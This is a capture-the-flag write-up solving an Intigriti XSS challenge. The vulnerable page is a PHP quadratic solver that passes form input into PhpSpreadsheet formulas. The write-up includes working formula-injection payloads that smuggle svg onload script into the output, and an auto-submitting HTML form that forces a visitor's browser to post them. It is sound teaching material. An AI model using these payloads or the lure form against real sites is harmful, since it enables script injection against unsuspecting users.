- Category: Web
- Impact: Medium
- Solves: 20
Find a way to execute alert(document.domain)
on the challenge page.
The solution:
- Should execute
alert(document.domain)
without user interaction; - Should not use another challenge on the intigriti.io domain.
We have a web challenge where we can calculate simple quadratic equations
:
<?php
error_reporting(E_ALL);
if (isset($_GET["source"])) { highlight_file(__FILE__); die(); }
require "../vendor/autoload.php"; // No CSP
use PhpOffice\PhpSpreadsheet\Calculation\Calculation;
?>
<html>
<head>
<link href="resources/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN">
<script src="resources/js/bootstrap.bundle.min.js" integrity="sha384-C6RzsynM9kWDrMNeT87bh95OGNyZPhcTNXj1NW7RuBCsyN/o0jlpcV8Qyq46cDfL"></script>
<style>body { background-color: #68adf1; }</style>
</head>
<body>
<div class="container">
<div class="row justify-content-md-center">
<div class="col-md-6">
<div class="card bg-light mb-3 mt-3" style="border-radius: 15px;">
<div class="card-body">
<h5 class="card-title">Quadratic Equation Solver</h5>
<p>Enter the coefficients for the Ax<sup>2</sup> + Bx + C = 0</p>
<?php if (isset($error)) { echo "<div class='alert alert-danger' role='alert'>$error</div>"; }?>
<form method="POST">
<div class="input-group mb-3">
<span class="input-group-text" id="labelA">A</span>
<input type="text" class="form-control" name="A" aria-describedby="labelA" aria-label="A" value="<?php echo (isset($_POST['A'])) ? htmlentities($_POST['A']) : ''; ?>">
</div>
<div class="input-group mb-3">
<span class="input-group-text" id="labelB">B</span>
<input type="text" class="form-control" name="B" aria-describedby="labelB" aria-label="B" value="<?php echo (isset($_POST['B'])) ? htmlentities($_POST['B']) : ''; ?>">
</div>
<div class="input-group mb-3">
<span class="input-group-text" id="labelC">C</span>
<input type="text" class="form-control" name="C" aria-describedby="labelC" aria-label="C" value="<?php echo (isset($_POST['C'])) ? htmlentities($_POST['C']) : ''; ?>">
</div>
<div class="d-flex justify-content-between">
<a class="btn btn-light" href="/challenge.php?source=challenge.php" role="button">View Source</a>
<button name="submit" type="submit" class="btn btn-primary">Calculate</button>
</div>
<?php
if (isset($_POST["submit"])) {
if (empty($_POST['A']) || empty($_POST['B']) || empty($_POST['C'])) {
echo "<div class='alert alert-danger mt-3' role='alert'>Error: Missing vars...</div>";
}
elseif ($_POST['A'] == 0) { echo "<div class='alert alert-danger mt-3' role='alert'>Error: The equation is not quadratic</div>"; }
else { // Calculate and Display the results
echo "<div class='alert alert-info mt-3' role='alert'>";
echo '<b>Roots:</b><br>';
$discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';
$discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);
$r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';
$r2Formula = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))';
echo Calculation::getInstance()->calculateFormula($r1Formula);
echo Calculation::getInstance()->calculateFormula($r2Formula);
echo "</div>";
}}?></div>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
Our local php.ini
configuration file:
extension_dir=""
extension=curl
extension=php_openssl
extension=php_fileinfo
extension=gd
extension=mbstring
extension=zip
The local installation of PhpSpreadsheet code:
php -r "copy('http://getcomposer.org/installer','composer-setup.php');"
php composer-setup.php
php composer.phar require phpoffice/phpspreadsheet
php -S localhost:3000
Since we are dealing with a classic case, we will focus on the code injection part and calculateFormula
method:
/**
* Calculate the value of a formula.
* https://github.com/PHPOffice/PhpSpreadsheet/blob/master/src/PhpSpreadsheet/Calculation/Calculation.php#L3560
* @param string $formula Formula to parse
* @param ?string $cellID Address of the cell to calculate
* @param ?Cell $cell Cell to calculate
*/
public function calculateFormula(string $formula, ?string $cellID = null, ?Cell $cell = null): mixed {
$this->formulaError = null; // Initialise the logging settings
$this->debugLog->clearLog();
$this->cyclicReferenceStack->clear();
$resetCache = $this->getCalculationCacheEnabled();
if ($this->spreadsheet !== null && $cellID === null && $cell === null) {
$cellID = "A1"; $cell = $this->spreadsheet->getActiveSheet()->getCell($cellID);
} else {
$this->calculationCacheEnabled = false;
}
try {
$result = self::unwrapResult($this->_calculateFormulaValue($formula, $cellID, $cell)); // Parse a cell formula and calculate its value
} catch (\Exception $e) {
throw new Exception($e->getMessage());
}
if ($this->spreadsheet === null) {
$this->calculationCacheEnabled = $resetCache;
}
return $result;
}
It is quite intuitive to see that we need to modify our payload to display some HTML
tags within the result.
The inputs A
, B
or C
can be used to concatenate other objects with mostly valid data being inserted between them:
$_POST["A"] = '0)&"<svg/onload=alert(location.host)>")'; $_POST["B"] = 'n(0)';
$_POST["C"] = '0)&")),1)&""<svg/onload=alert(document.domain)>""&text(((0"';
$discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';
// =POWER(n(0),2) - (4 * 0) & "<svg/onload=alert(location.host)>") * 0) & ")),1) & ""<svg/onload=alert(document.domain)>"" & text(((0")
$discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);
// #VALUE!)),1) & "<svg/onload=alert(document.domain)>" & text(((0
$r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';
// =IMDIV(IMSUM(-n(0), IMSQRT(#VALUE!)), 1) & "<svg/onload=alert(document.domain)>" & text(((0)),2 * 0) & "<svg/onload=alert(location.host)>"))
$r2Formula = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))';
// =IF(#VALUE!)),1) & "<svg/onload=alert(document.domain)>" & text(((0=0,"Only one root", IMDIV(IMSUB(-n(0), IMSQRT(#VALUE!)), 1) & "<svg/onload=alert(document.domain)>" & text(((0)), 2 * 0) & "<svg/onload=alert(location.host)>")))
echo Calculation::getInstance()->calculateFormula($r1Formula);
// #NUM!<svg/onload=alert(document.domain)>0<svg/onload=alert(location.host)>
echo Calculation::getInstance()->calculateFormula($r2Formula);
// #NUM!#NUM!
The only thing left to do is to create a <form>
POST data of the challenge and redirect any victim to the XSS
payload:
<body><script>
let [b, f] = [document.createElement("button"), document.createElement("form")]; // https://webhook.site
b.name = "submit"; f.method = "post"; f.action = "https://challenge-0524.intigriti.io/challenge.php";
let data = {A:'0)&"<svg/onload=alert(location.host)>")',B:"n(0)",C:'0)&")),1)&""<svg/onload=alert(document.domain)>""&text(((0"'};
Object.keys(data).forEach(k=>{let i = document.createElement("input"); i.name = k; i.value = data[k]; f.appendChild(i);});
f.appendChild(b); document.body.appendChild(f); f.submit.click();
</script></body>
Until next time!